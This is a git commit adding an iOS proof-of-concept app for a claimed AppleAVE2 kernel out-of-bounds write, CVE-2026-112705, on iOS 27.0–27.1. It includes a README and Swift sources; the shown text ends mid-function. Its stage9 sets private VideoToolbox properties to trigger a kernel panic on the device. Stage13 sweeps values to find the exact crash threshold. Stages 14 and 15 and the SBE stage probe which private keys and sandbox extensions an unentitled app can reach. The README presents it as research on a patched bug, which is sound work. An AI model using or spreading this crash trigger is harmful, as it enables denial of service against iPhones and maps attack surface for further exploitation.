commit bc019e2b6c45b77e45cfb1fea2241860393900be Author: JBJF Date: Fri Oct 30 19:13:13 2026 +0800 AVE27 — standalone POC app for CVE-2026-112705 (AppleAVE2 NTL OOB write) - All stages ported from MchinaMd57764/AVETemporalPoC (orig. Calif/Chollima): stage1-12, 20, 21, fuzz, SBE — launch-arg parity kept - New: stage13 NTL threshold sweep, stage14 usage×rc acceptance matrix, stage15 private-key entitlement audit (23 keys) - Panic journal: kern.boottime-based in-app panic evidence after reboot - Interactive SwiftUI console + NTL field + report share; header shows PANIC-CAPABLE on iOS 27.0-27.1, FIXED BUILD on 27.2+ - App icon: temporal-layer stack, top layer displaced past the stack edge - scripts/build-device.sh → unsigned arm64 IPA (iOS 17.0+) diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..fdb1147 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +build/ +dist/ +*.ipa +.DS_Store diff --git a/Info.plist b/Info.plist new file mode 100644 index 0000000..60a81fb --- /dev/null +++ b/Info.plist @@ -0,0 +1,66 @@ + + + + + CFBundleDevelopmentRegion + en + CFBundleDisplayName + AVE27 + CFBundleExecutable + AVE27 + CFBundleIdentifier + com.jbjf.ave27 + CFBundleInfoDictionaryVersion + 6.0 + CFBundleName + AVE27 + CFBundlePackageType + APPL + CFBundleShortVersionString + 1.0 + CFBundleSupportedPlatforms + + iPhoneOS + + CFBundleVersion + 1 + DTPlatformName + iphoneos + DTPlatformVersion + 27.0 + DTSDKName + iphoneos27.0 + ITSAppUsesNonExemptEncryption + + LSRequiresIPhoneOS + + MinimumOSVersion + 17.0 + UIApplicationSceneManifest + + UIApplicationSupportsMultipleScenes + + + UIFileSharingEnabled + + LSSupportsOpeningDocumentsInPlace + + UILaunchScreen + + UIRequiredDeviceCapabilities + + arm64 + + UISupportedInterfaceOrientations + + UIInterfaceOrientationPortrait + + UISupportedInterfaceOrientations~ipad + + UIInterfaceOrientationPortrait + UIInterfaceOrientationPortraitUpsideDown + UIInterfaceOrientationLandscapeLeft + UIInterfaceOrientationLandscapeRight + + + diff --git a/README.md b/README.md new file mode 100644 index 0000000..a5437cd --- /dev/null +++ b/README.md @@ -0,0 +1,61 @@ +# AVE27 — standalone POC app for CVE-2026-112705 + +Standalone iOS app for **CVE-2026-112705** — AppleAVE2 kernel out-of-bounds write +via `NumberOfTemporalLayers` (VideoToolbox). Original discovery: Calif / Chollima +team; this app ports the reproduction from +[MchinaMd57764/AVETemporalPoC-CVE-2026-112705](https://github.com/MchinaMd57764/AVETemporalPoC-CVE-2026-112705) +into a self-contained, interactive harness and extends it with exploration stages. + +- Component: `com.apple.driver.AppleAVE2` (kernel) +- Type: kernel OOB write, fixed-offset constant fill — panic/DoS, **no** read/write primitive +- Affected: iOS 27.0 – 27.1 (24A446 line) +- Fixed: iOS 27.2 — `NTL` returns `-12900` at SetProperty, no panic +- Highest supported target: **iOS 27.1** + +## What the app does + +All nine original stages ported verbatim (props readback, encode trigger, property +fuzz, multi-PPS, layer-ID probe, bitstream dump, NTL ladder, per-rung parameter-set +capture, DPB-array overflow, UserDPB IOSurface table, H.264 slice-count decode, +MVHEVC ID validation, sandbox-extension probe), plus three new exploration stages: + +| Stage | What it maps | +|---|---| +| **stage9** | the panic trigger: `EncoderUsage=1` + `RCMode=20` + `NTL=16463` → first encode panics AppleAVE2 (kernel data abort, `far=0x59 x19=0x1`); 16462 survives | +| **stage13** | NTL threshold sweep, bottom-up, one session per rung — finds the exact landing rung; panic journal arms per rung | +| **stage14** | `EncoderUsage` × `RCMode` acceptance matrix at a safe layer count — which private mode selectors the driver honours from a stock app | +| **stage15** | private-key audit: 23 non-public VideoToolbox keys set from an unentitled sandboxed app; the accepted set is the privilege surface reaching AppleAVE2 | +| **SBE** | sandbox-extension issuance probe — can a third-party app issue read/write extensions for paths outside its container | +| panic journal | armed before every panic-capable encode; on next launch, an unfinished journal + changed `kern.boottime` = that run ended in a kernel panic, in-app, no console needed | + +Interactive UI: stage buttons, NTL field, live monospaced console, report share +sheet. Launch-argument mode keeps full parity with the original repo +(`--stage9 16463`, `--stage13`, `--fuzz`, `--sbext`, …). Report lands in +`Documents/ave_report.txt`, live oracle in `Documents/live.txt` — the last line +before a panic is `stage9(...) encode[0]`. + +## Building + +```bash +bash scripts/build-device.sh # → dist/AVE27-unsigned.ipa (arm64, iOS 17.0+, unsigned) +python3 scripts/gen_icon.py # regenerates the app icon (no image library needed) +``` + +Unsigned IPA — sign with your own certificate + provisioning profile, then +sideload. The simulator has no hardware encode path; panic stages need a real +device on 27.0/27.1. + +## Panic evidence workflow + +1. Launch → tap **stage9 panic** (or `--stage9 16463`). Device reboots. +2. Relaunch. The header still says PANIC-CAPABLE; the console opens with the + journal verdict: which stage, which rung, which boot — and points at + Settings → Privacy → Analytics for the matching `.ips`. +3. Export `ave_report.txt` / `live.txt` from Files → AVE27. + +## Credits & scope + +Original discovery and panic evidence: **Calif / Chollima team**, independent +reproduction by MchinaMd57764. This app reproduces a public, already-patched CVE +for verification and research on devices you own. It contains no exploitation +code — the defect is a fixed-offset constant fill with no read/write capability. diff --git a/Resources/Assets.xcassets/AppIcon.appiconset/AppIcon-1024.png b/Resources/Assets.xcassets/AppIcon.appiconset/AppIcon-1024.png new file mode 100644 index 0000000..ed3d5f1 Binary files /dev/null and b/Resources/Assets.xcassets/AppIcon.appiconset/AppIcon-1024.png differ diff --git a/Resources/Assets.xcassets/AppIcon.appiconset/Contents.json b/Resources/Assets.xcassets/AppIcon.appiconset/Contents.json new file mode 100644 index 0000000..f22e10c --- /dev/null +++ b/Resources/Assets.xcassets/AppIcon.appiconset/Contents.json @@ -0,0 +1,14 @@ +{ + "images" : [ + { + "filename" : "AppIcon-1024.png", + "idiom" : "universal", + "platform" : "ios", + "size" : "1024x1024" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Resources/Assets.xcassets/Contents.json b/Resources/Assets.xcassets/Contents.json new file mode 100644 index 0000000..73c0059 --- /dev/null +++ b/Resources/Assets.xcassets/Contents.json @@ -0,0 +1,6 @@ +{ + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Sources/App.swift b/Sources/App.swift new file mode 100644 index 0000000..da975c3 --- /dev/null +++ b/Sources/App.swift @@ -0,0 +1,254 @@ +// AVE27 · app entry + stage console UI +// Two drive modes: +// 1. launch arguments (parity with the original repo): --stage9 16463, --stage13, +// --fuzz, --sbext, ... same dispatch table as AVETemporalPoC +// 2. interactive: pick a stage, set the layer count, run, watch the live console +// Every launch checks the panic journal first — an unfinished armed run plus a +// changed kernel boot time is reported as the panic that ended it. + +import SwiftUI +import UIKit + +@main +struct AVE27App: App { + var body: some Scene { + WindowGroup { RootView() } + } +} + +/// Bridges the Probe singleton's append-only log to SwiftUI. +final class LogStore: ObservableObject { + @Published var text: String = "" + init() { + Probe.shared.onUpdate = { [weak self] in + let snapshot = Probe.shared.log + DispatchQueue.main.async { self?.text = snapshot } + } + } +} + +struct RootView: View { + @StateObject private var store = LogStore() + @State private var ntlText = "16463" + @State private var keyText = "NumberOfTemporalLayers" + @State private var fileText = "avc_900_slices.h264" + @State private var running = false + + private var ntl: Int { Int(ntlText) ?? 16463 } + + var body: some View { + VStack(spacing: 0) { + header + stageMenu + console + } + .background(Color.black.ignoresSafeArea()) + .onAppear(perform: launch) + .toolbar { ToolbarItem(placement: .navigationBarTrailing) { shareButton } } + .preferredColorScheme(.dark) + } + + // ── header ──────────────────────────────────────────────────────────── + private var header: some View { + HStack(alignment: .firstTextBaseline) { + VStack(alignment: .leading, spacing: 2) { + Text("AVE27") + .font(.system(.headline, design: .monospaced)) + Text("CVE-2026-112705 · AppleAVE2 · " + deviceLine) + .font(.system(.caption2, design: .monospaced)) + .foregroundStyle(.secondary) + } + Spacer() + Text(panicCapable ? "PANIC-CAPABLE" : "FIXED BUILD") + .font(.system(.caption2, design: .monospaced, weight: .bold)) + .foregroundStyle(panicCapable ? Color(red: 1, green: 0.55, blue: 0.2) : .green) + } + .padding(.horizontal).padding(.vertical, 8) + } + + private var deviceLine: String { + let os = ProcessInfo.processInfo.operatingSystemVersion + let ver = "\(os.majorVersion).\(os.minorVersion)" + var size = 0 + sysctlbyname("hw.machine", nil, &size, nil, 0) + var machine = [CChar](repeating: 0, count: size) + sysctlbyname("hw.machine", &machine, &size, nil, 0) + let model = String(cString: machine) + return "iOS \(ver) · \(model)" + } + + /// iOS 27.0 – 27.1 carries the unfixed AppleAVE2; 27.2+ refuses NTL at -12900. + private var panicCapable: Bool { + let os = ProcessInfo.processInfo.operatingSystemVersion + return (os.majorVersion == 27 && os.minorVersion <= 1) + } + + // ── stage menu ──────────────────────────────────────────────────────── + private var stageMenu: some View { + ScrollView(.horizontal, showsIndicators: false) { + HStack(spacing: 8) { + stageButton("stage9 panic") { Probe.shared.stage9(n: ntl) } + stageButton("stage13 sweep") { Probe.shared.stage13() } + stageButton("stage14 matrix") { Probe.shared.stage14() } + stageButton("stage15 audit") { Probe.shared.stage15() } + stageButton("SBE") { Probe.shared.stageSandboxExtensions() } + Divider().frame(height: 24) + stageButton("stage1 props") { Probe.shared.stage1() } + stageButton("stage7 dump") { Probe.shared.stage7() } + stageButton("fuzz") { Probe.shared.fuzz() } + stageButton("stage5 layer") { Probe.shared.stage5() } + stageButton("stage21 ids") { Probe.shared.stage21() } + Divider().frame(height: 24) + stageButton("stage2 encode") { Probe.shared.stage2(value: ntl) } + stageButton("stage6 dump") { Probe.shared.stage6(num: 4) } + stageButton("stage10 ps") { Probe.shared.stage10(n: 8) } + stageButton("stage11 dpb") { Probe.shared.stage11(n: 24) } + stageButton("stage12 userdpb") { Probe.shared.stage12(n: 24, shape: 1) } + stageButton("stage20 decode") { Probe.shared.stage20(file: fileText) } + stageButton("stage8 key") { Probe.shared.stage8(key: keyText, values: [1, 4, 8, 16, 64]) } + stageButton("stage4 pps") { Probe.shared.stage4(count: 16) } + } + .padding(.horizontal).padding(.bottom, 6) + } + } + + private func stageButton(_ label: String, _ action: @escaping () -> Void) -> some View { + Button { + runStage(action) + } label: { + Text(label) + .font(.system(.caption, design: .monospaced)) + .padding(.horizontal, 10).padding(.vertical, 6) + .background(RoundedRectangle(cornerRadius: 6).fill(Color(white: 0.14))) + .overlay(RoundedRectangle(cornerRadius: 6).strokeBorder(Color(white: 0.28))) + } + .buttonStyle(.plain) + .disabled(running) + .opacity(running ? 0.4 : 1) + } + + private func runStage(_ action: @escaping () -> Void) { + running = true + DispatchQueue.global(qos: .userInitiated).async { + action() + Probe.shared.writeReport() + DispatchQueue.main.async { running = false } + } + } + + // ── console ─────────────────────────────────────────────────────────── + private var console: some View { + ScrollView { + ScrollViewReader { proxy in + Text(store.text.isEmpty ? "console — pick a stage\nargs mode: --stage9 16463" : store.text) + .font(.system(size: 10.5, design: .monospaced)) + .frame(maxWidth: .infinity, alignment: .leading) + .padding(8) + .id("tail") + .onChange(of: store.text) { _, _ in + proxy.scrollTo("tail", anchor: .bottom) + } + } + } + .background(Color(white: 0.06)) + .overlay(alignment: .top) { paramRow } + } + + private var paramRow: some View { + HStack(spacing: 12) { + VStack(alignment: .leading, spacing: 1) { + Text("NTL").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary) + TextField("16463", text: $ntlText) + .keyboardType(.numberPad) + .font(.system(.caption, design: .monospaced)) + .frame(width: 84) + .textFieldStyle(.roundedBorder) + } + VStack(alignment: .leading, spacing: 1) { + Text("key / file").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary) + TextField("file", text: $fileText) + .font(.system(.caption, design: .monospaced)) + .textFieldStyle(.roundedBorder) + } + Spacer() + } + .padding(.horizontal).padding(.vertical, 6) + .background(.thinMaterial) + } + + // ── share ───────────────────────────────────────────────────────────── + private var shareButton: some View { + Button { + let docs = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + let url = docs.appendingPathComponent("ave_report.txt") + try? Probe.shared.log.write(to: url, atomically: true, encoding: .utf8) + let av = UIActivityViewController(activityItems: [Probe.shared.log as NSString, url], + applicationActivities: nil) + UIApplication.shared.connectedScenes + .compactMap { ($0 as? UIWindowScene)?.keyWindow?.rootViewController } + .first?.present(av, animated: true) + } label: { + Image(systemName: "square.and.arrow.up") + } + } + + // ── launch: panic evidence first, then argument dispatch ───────────── + private func launch() { + running = true + DispatchQueue.global(qos: .userInitiated).async { + Probe.shared.checkPanicEvidence() + runFromArguments() + Probe.shared.writeReport() + DispatchQueue.main.async { running = false } + } + } + + /// Original repo dispatch, verbatim parity — runs when launch arguments are present. + private func runFromArguments() { + let args = ProcessInfo.processInfo.arguments + let p = Probe.shared + guard args.contains(where: { $0.hasPrefix("--") }) else { return } + if args.contains("--fuzz") { p.fuzz() } + else if args.contains("--sbext") { p.stageSandboxExtensions() } + else if args.contains("--props") { p.stage1() } + else if args.contains("--stage5") { p.stage5() } + else if let i = args.firstIndex(of: "--stage20"), i + 1 < args.count { + p.stage20(file: args[i + 1]) + } else if args.contains("--stage21") { p.stage21() } + else if let i = args.firstIndex(of: "--stage12"), i + 1 < args.count { + let shape = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 1 + let usage = (i + 3 < args.count ? Int(args[i + 3]) : nil) ?? 0 + p.stage12(n: Int(args[i + 1]) ?? 3, shape: shape, usage: usage) + } else if let i = args.firstIndex(of: "--stage11"), i + 1 < args.count { + p.stage11(n: Int(args[i + 1]) ?? 3) + } else if let i = args.firstIndex(of: "--stage10"), i + 1 < args.count { + let usage = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 0 + p.stage10(n: Int(args[i + 1]) ?? 8, usage: usage) + } else if let i = args.firstIndex(of: "--stage9"), i + 1 < args.count { + p.stage9(n: Int(args[i + 1]) ?? 12742) + } else if let i = args.firstIndex(of: "--stage13"), i + 1 < args.count { + let lo = Int(args[i + 1]) ?? 16450 + let hi = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 16470 + p.stage13(lo: min(lo, hi), hi: max(lo, hi)) + } else if args.contains("--stage14") { p.stage14() } + else if args.contains("--stage15") { p.stage15() } + else if args.contains("--stage7") { p.stage7() } + else if let i = args.firstIndex(of: "--stage8"), i + 2 < args.count { + let key = args[i + 1] + let vals = args[i + 2].split(separator: ",").compactMap { Int($0) } + p.stage8(key: key, values: vals.isEmpty ? [8] : vals) + } else if let i = args.firstIndex(of: "--stage6"), i + 1 < args.count { + p.stage6(num: Int(args[i + 1]) ?? 1) + } else if let i = args.firstIndex(of: "--stage4"), i + 1 < args.count { + p.stage4(count: Int(args[i + 1]) ?? 16) + } else if let i = args.firstIndex(of: "--encode"), i + 1 < args.count { + func intArg(_ name: String, _ def: Int) -> Int { + guard let j = args.firstIndex(of: name), j + 1 < args.count else { return def } + return Int(args[j + 1]) ?? def + } + p.stage2(value: Int(args[i + 1]) ?? 8, + realtime: !args.contains("--nort"), + efr: intArg("--efr", 30), blr: intArg("--blr", 15)) + } else { p.stage1() } + } +} diff --git a/Sources/Explore.swift b/Sources/Explore.swift new file mode 100644 index 0000000..bdc1512 --- /dev/null +++ b/Sources/Explore.swift @@ -0,0 +1,144 @@ +// AVE27 · exploration stages — what lies beyond the panic +// stage13: NTL threshold sweep — maps the exact landing rung of the OOB write. +// stage14: EncoderUsage × RCMode matrix at a safe layer count — which private +// parameter combinations the driver accepts from a stock sandboxed app. +// stage15: private property key audit — the full acceptance surface of +// non-public VideoToolbox keys with no entitlement behind them. +// All three share the live.txt oracle; stage13 arms the panic journal per rung. + +import Foundation +import VideoToolbox +import CoreMedia +import CoreVideo + +extension Probe { + + /// Stage 13: NTL threshold sweep, one session per rung, bottom-up. + /// On a vulnerable build the walk panics at the first landing rung — live.txt + /// ends on that rung and the panic journal proves it after the reboot. + /// On 27.2 the first rung past the cap returns -12900 at SetProperty and the + /// sweep stops clean: two disjoint, unambiguous signatures. + func stage13(lo: Int = 16450, hi: Int = 16470) { + emit("stage13 sweep \(lo)...\(hi) (bottom-up, one session per rung)") + for n in lo...hi { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage13(\(n)): no session"); return + } + let sUsage = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: 1)) + let sRC = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: 20)) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, + value: NSNumber(value: n)) + if st != 0 { + emit("stage13 rung \(n): SetProperty refused (\(st)) — fixed-build cap reached") + VTCompressionSessionInvalidate(session) + break + } + + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + guard let pixel = pb else { emit("stage13(\(n)): no pixel"); return } + armJournal("stage13", ntl: n) + let pts = CMTime(value: CMTimeValue(0), timescale: 30) + let est = VTCompressionSessionEncodeFrame( + session, imageBuffer: pixel, presentationTimeStamp: pts, + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } + emit("stage13 rung \(n): usage=\(sUsage) rc=\(sRC) encode=\(est) readback: " + + readBack(session, "NumberOfTemporalLayers" as CFString)) + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + VTCompressionSessionInvalidate(session) + finishJournal() + if est != 0 { emit("stage13 rung \(n): encode refused (\(est)) — stopping sweep"); break } + } + emit("stage13 complete — device survived every rung") + } + + /// Stage 14: EncoderUsage × RCMode matrix at a safe layer count (8). The panic + /// recipe is one cell of this grid; the rest maps which private mode selectors + /// the driver honours from an unentitled third-party process. + func stage14() { + let usages = [0, 1, 4, 8, 16] + let rcmodes = [0, 1, 8, 20, 22, 23] + emit("stage14 usage × rc matrix at NTL=8 (\(usages.count)×\(rcmodes.count) cells)") + for u in usages { + for rc in rcmodes { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage14 u\(u) r\(rc): no session"); return + } + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + let su = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: u)) + let sr = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: rc)) + let sn = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: 8)) + + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + guard let pixel = pb else { emit("stage14: no pixel"); return } + let pts = CMTime(value: CMTimeValue(0), timescale: 30) + let est = VTCompressionSessionEncodeFrame( + session, imageBuffer: pixel, presentationTimeStamp: pts, + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + emit("stage14 u=\(u)(\(su)) rc=\(rc)(\(sr)) ntl(\(sn)) encode=\(est)") + VTCompressionSessionInvalidate(session) + } + } + emit("stage14 complete — acceptance matrix above") + } + + /// Stage 15: private property key audit. Which non-public VideoToolbox keys a + /// stock, sandboxed, unentitled app can set on an Apple hardware encoder session — + /// the privilege surface beyond the crash. Accepted keys reach the kernel driver + /// through the same unvalidated property path the CVE lives in. + func stage15() { + // (key, probe value): numbers probe the scalar path, arrays the table path + let probes: [(String, Any)] = [ + ("EncoderUsage", NSNumber(value: 1)), + ("RCMode", NSNumber(value: 20)), + ("NumberOfTemporalLayers", NSNumber(value: 4)), + ("NumOfTemporalLayer", NSNumber(value: 4)), + ("NumOfGOPLayer", NSNumber(value: 2)), + ("BaseLayerFrameRate", NSNumber(value: 15)), + ("MCTFStrengthLevel", NSNumber(value: 3)), + ("MCTFMaxNextRefNum", NSNumber(value: 2)), + ("ChromaQPIndexOffsetMultiPPS", "0 0 0 0" as NSString), + ("LRMERSPassNum", NSNumber(value: 1)), + ("MultiReferencePSpacing", NSNumber(value: 3)), + ("NumNegativePics", NSNumber(value: 4)), + ("NumPositivePics", NSNumber(value: 0)), + ("AbsDeltaRPSMinus1", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray), + ("DeltaRPSSign", [NSNumber(value: 0), NSNumber(value: 0)] as CFArray), + ("RPSData", [NSNumber(value: 1)] as CFArray), + ("RPSInfo", [NSNumber(value: 1)] as CFArray), + ("HEVCTemporalLevelInfoCombinations", [NSNumber(value: 1)] as CFArray), + ("HEVCAuxiliaryLayerIDs", [NSNumber(value: 1), NSNumber(value: 2)] as CFArray), + ("MVHEVCVideoLayerIDs", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray), + ("EnableUserRefForFacetime", kCFBooleanTrue as Any), + ("DPBRequirements", ["NumberOfFrames" as CFString: NSNumber(value: 2), + "AllocateRVRABuffers" as CFString: kCFBooleanFalse as Any] as CFDictionary), + ("TemporalIDNestingFlag", NSNumber(value: 1)), + ] + emit("stage15 private-key audit (\(probes.count) keys, unentitled sandboxed app)") + var accepted: [String] = [] + for (key, value) in probes { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage15 \(key): no session"); return + } + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + let st = VTSessionSetProperty(session, key: key as CFString, value: value as CFTypeRef) + let rd = readBack(session, key as CFString) + emit("stage15 \(key) -> status=\(st) readback: \(rd)") + if st == 0 { accepted.append(key) } + VTCompressionSessionInvalidate(session) + } + emit("stage15 accepted-without-entitlement (\(accepted.count)/\(probes.count)): \(accepted.joined(separator: ", "))") + emit("stage15 complete — these keys reach the AppleAVE2 driver from a stock app") + } +} diff --git a/Sources/Runner.swift b/Sources/Runner.swift new file mode 100644 index 0000000..b73ebd4 --- /dev/null +++ b/Sources/Runner.swift @@ -0,0 +1,1038 @@ +// AVE27 · standalone POC app for CVE-2026-112705 (AppleAVE2 NumberOfTemporalLayers OOB write) +// Runner: all encoder-side stages ported from MchinaMd57764/AVETemporalPoC +// (original discovery: Calif / Chollima team). stage9 is the panic trigger: +// EncoderUsage=1 + RCMode=20 + NumberOfTemporalLayers=16463 → kernel data abort +// in com.apple.driver.AppleAVE2 on iOS 27.0.1; 16462 survives; 27.2 returns -12900. +// Live oracle: Documents/live.txt — the last line before a panic is "stage9(...) encode[0]". + +import Foundation +import IOSurface +import VideoToolbox +import CoreMedia +import CoreVideo + +private let decLock = NSLock() +private var decResults: [String] = [] + +final class Probe { + static let shared = Probe() + private(set) var log = "" + /// UI refresh hook — set by ContentView so the console updates live. + var onUpdate: (() -> Void)? + + // ---- panic journal: written before any panic-capable encode, checked on next + // launch. An unfinished record + a changed kernel boot time = the run ended in + // a kernel panic (the in-app equivalent of the .ips ResetCounter evidence). + private lazy var journalURL: URL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + .appendingPathComponent("panic-journal.json") + + struct PanicRecord: Codable { + var stage: String + var ntl: Int + var bootSeconds: Int64 + var startedAt: String + var finished: Bool + } + + func bootSeconds() -> Int64 { + var tv = timeval(tv_sec: 0, tv_usec: 0) + var len = MemoryLayout.size + sysctlbyname("kern.boottime", &tv, &len, nil, 0) + return Int64(tv.tv_sec) + } + + func armJournal(_ stage: String, ntl: Int) { + let rec = PanicRecord(stage: stage, ntl: ntl, bootSeconds: bootSeconds(), + startedAt: ISO8601DateFormatter().string(from: Date()), finished: false) + if let d = try? JSONEncoder().encode([rec]) { try? d.write(to: journalURL) } + emit("journal armed: stage=\(stage) ntl=\(ntl) boot=\(rec.bootSeconds)") + } + + func finishJournal() { + guard let d = try? Data(contentsOf: journalURL), + var recs = try? JSONDecoder().decode([PanicRecord].self, from: d), !recs.isEmpty else { return } + recs[recs.count - 1].finished = true + if let d = try? JSONEncoder().encode(recs) { try? d.write(to: journalURL) } + } + + /// Called on launch: if the last armed run never finished and the kernel has + /// rebooted since it armed, that run panicked the device. + func checkPanicEvidence() { + guard let d = try? Data(contentsOf: journalURL), + let recs = try? JSONDecoder().decode([PanicRecord].self, from: d), + let last = recs.last, !last.finished else { return } + let now = bootSeconds() + if now > last.bootSeconds { + emit("PANIC EVIDENCE: stage \(last.stage) ntl=\(last.ntl) armed at \(last.startedAt) never finished") + emit("kernel rebooted since (boot \(last.bootSeconds) → \(now)) — that run ended in a kernel panic") + emit("confirm against Settings → Privacy → Analytics → panic-evidence .ips") + } + } + + private lazy var liveURL: URL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + .appendingPathComponent("live.txt") + + func emit(_ s: String) { + log += s + "\n" + NSLog("AVEPOC %@", s) + onUpdate?() + let dir = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + var isDir: ObjCBool = false + if !FileManager.default.fileExists(atPath: dir.path, isDirectory: &isDir) || !isDir.boolValue { + try? FileManager.default.removeItem(at: dir) + try? FileManager.default.createDirectory(at: dir, withIntermediateDirectories: true) + } + if let d = (s + "\n").data(using: .utf8) { + if let h = try? FileHandle(forWritingTo: liveURL) { + h.seekToEndOfFile(); h.write(d); try? h.close() + } else { + try? d.write(to: liveURL) + } + } + } + + func fourCC(_ v: OSType) -> String { + let bytes: [UInt8] = [ + UInt8((v >> 24) & 0xff), UInt8((v >> 16) & 0xff), + UInt8((v >> 8) & 0xff), UInt8(v & 0xff) + ] + return String(bytes: bytes, encoding: .ascii) ?? "?" + } + + func makeSession(codec: CMVideoCodecType, w: Int32, h: Int32) -> VTCompressionSession? { + var session: VTCompressionSession? + let status = VTCompressionSessionCreate( + allocator: kCFAllocatorDefault, + width: w, height: h, + codecType: codec, + encoderSpecification: nil, + imageBufferAttributes: nil, + compressedDataAllocator: nil, + outputCallback: nil, + refcon: nil, + compressionSessionOut: &session) + emit("VTCompressionSessionCreate(\(fourCC(codec))) status=\(status)") + return session + } + + func readBack(_ session: VTSession, _ key: CFString) -> String { + var out: CFTypeRef? + let st = VTSessionCopyProperty(session, key: key, allocator: kCFAllocatorDefault, valueOut: &out) + if st != 0 { return "copyErr=\(st)" } + if let n = out as? NSNumber { return "value=\(n.intValue)" } + return "value=\(String(describing: out))" + } + + /// Stage 1: only set/read properties. No encode, no frame submission. + func stage1() { + var encoderList: CFArray? + let lst = VTCopyVideoEncoderList(nil, &encoderList) + if lst != 0 { emit("VTCopyVideoEncoderList status=\(lst)") } + if let list = encoderList as? [[String: Any]] { + for e in list { + let codec = (e[kVTVideoEncoderList_CodecType as String] as? NSNumber)?.uint32Value ?? 0 + if codec == kCMVideoCodecType_HEVC { + emit("encoder HEVC: \(e[kVTVideoEncoderList_EncoderID as String] ?? "?") name=\(e[kVTVideoEncoderList_DisplayName as String] ?? "?")") + } + } + } + + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("no session") + return + } + + var encoderID: CFString? + var supported: CFDictionary? + let s1 = VTCopySupportedPropertyDictionaryForEncoder( + width: 1280, height: 720, codecType: kCMVideoCodecType_HEVC, + encoderSpecification: nil, encoderIDOut: &encoderID, supportedPropertiesOut: &supported) + emit("SupportedPropertyDictionary status=\(s1) encoderID=\(encoderID ?? "nil" as CFString)") + if let sup = supported as? [String: Any] { + let keys = sup.keys.sorted() + emit("supported count=\(keys.count) hasNumberOfTemporalLayers=\(keys.contains("NumberOfTemporalLayers"))") + let interesting = keys.filter { $0.lowercased().contains("temporal") || $0.lowercased().contains("mvhevc") || $0.lowercased().contains("layer") } + emit("layer-ish keys: \(interesting)") + } + + let key = "NumberOfTemporalLayers" as CFString + for v in [1, 4, 7, 8, 16, 64] { + let st = VTSessionSetProperty(session, key: key, value: NSNumber(value: v)) + emit("SetProperty NumberOfTemporalLayers=\(v) status=\(st) readback: \(readBack(session, key))") + } + VTCompressionSessionInvalidate(session) + } + + /// Stage 2: submit frames with a value the pre-fix driver never bounded. + func stage2(value: Int, realtime: Bool = true, efr: Int = 30, blr: Int = 15) { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("no session") + return + } + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: realtime ? kCFBooleanTrue : kCFBooleanFalse) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowFrameReordering, value: kCFBooleanTrue) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowTemporalCompression, value: kCFBooleanTrue) + let sEfr = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_ExpectedFrameRate, value: NSNumber(value: efr)) + let sBlr = VTSessionSetProperty(session, key: "BaseLayerFrameRate" as CFString, value: NSNumber(value: blr)) + let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: value)) + emit("stage2 rt=\(realtime) efr=\(efr)(\(sEfr)) blr=\(blr)(\(sBlr)) NumberOfTemporalLayers(\(value)) status=\(st)") + + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + let pst = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + emit("CVPixelBufferCreate status=\(pst)") + guard let pixel = pb else { return } + + for i in 0..<40 { + let pts = CMTime(value: CMTimeValue(i), timescale: 30) + let est = 